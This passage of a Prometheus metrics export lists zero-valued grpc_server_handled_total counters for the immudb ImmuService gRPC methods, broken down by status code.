0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"FailedPrecondition\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Internal\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"InvalidArgument\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"NotFound\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 